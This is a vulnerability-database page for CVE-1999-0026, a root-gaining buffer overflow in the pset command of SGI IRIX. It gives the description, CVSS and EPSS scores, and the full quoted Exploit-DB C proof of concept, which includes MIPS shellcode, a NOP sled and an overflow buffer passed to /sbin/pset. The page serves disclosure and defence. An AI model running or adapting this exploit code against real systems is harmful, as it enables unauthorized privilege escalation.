CVE-1999-0026 : Detail

CVE-1999-0026

0.05%V3
Local
1999-09-29
02h00 +00:00
2024-08-01
16h27 +00:00
CVE.org
NVD
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CVE Descriptions

root privileges via buffer overflow in pset command on SGI IRIX systems.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 19347

Publication date : 1997-07-16 22h00 +00:00
Author : Last Stage of Delirium
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/457/info The pset utility, as shipped by SGI with Irix 5.x and 6.x through 6.3, contains a buffer overflow, which can allow any user on the system to execute arbitrary code on the machine as root. Pset is used to configure and administer processor groups in multiprocessor systems. By supplying a well crafted, long buffer as an argument, the return address on the stack is overwritten, allowing an attacker to execute code other than that which was intended. /* copyright by */ /* Last Stage of Delirium, Dec 1996, Poland*/ /* This one gives you egid=0(sys) */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #define BUFSIZE 4172 #define OFFS 816 #define ADDRS 8 #define ALIGN 3 #define ALIGN2 1 char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c"; /* char nop[]="\x24\x0f\x12\x34"; */ char nop[]="\x01\x20\x48\x25"; void run(unsigned char *buf) { execl("/sbin/pset","lsd","-s","666",buf,NULL); printf("execl failed\n"); } char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34"; /* unsigned long get_sp(void) { __asm__("or $2,$sp,$0"); } */ main(int argc, char *argv[]) { char *buf, *ptr, addr[8]; int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN; int i, noplen=strlen(nop); if (argc >1) bufsize=atoi(argv[1]); if (argc >2) offs=atoi(argv[2]); if (argc >3) addrs=atoi(argv[3]); if (argc >4) align=atoi(argv[4]); if (bufsize<strlen(asmcode)) { printf("bufsize too small, code is %d bytes long\n", strlen(asmcode)); exit(1); } if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) { printf("Can't malloc\n"); exit(1); } *(int *)addr=(*(unsigned long(*)())jump)()+offs; printf("address=%p\n", *(int *)addr); strcpy(buf,nop); ptr=buf+noplen; buf+=align; for(i=0;i<bufsize;i++) *ptr++=nop[i%noplen]; memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode)); for(i=0;i<ALIGN2;i++) *ptr++=nop[i%noplen]; for(i=0;i<(addrs<<2);i++) *ptr++=addr[i%sizeof(int)]; *ptr=0; printf("buflen=%d\n", strlen(buf)); fflush(stdout); run(buf); }

Products Mentioned

Configuraton 0

Sgi>>Irix >> Version *

References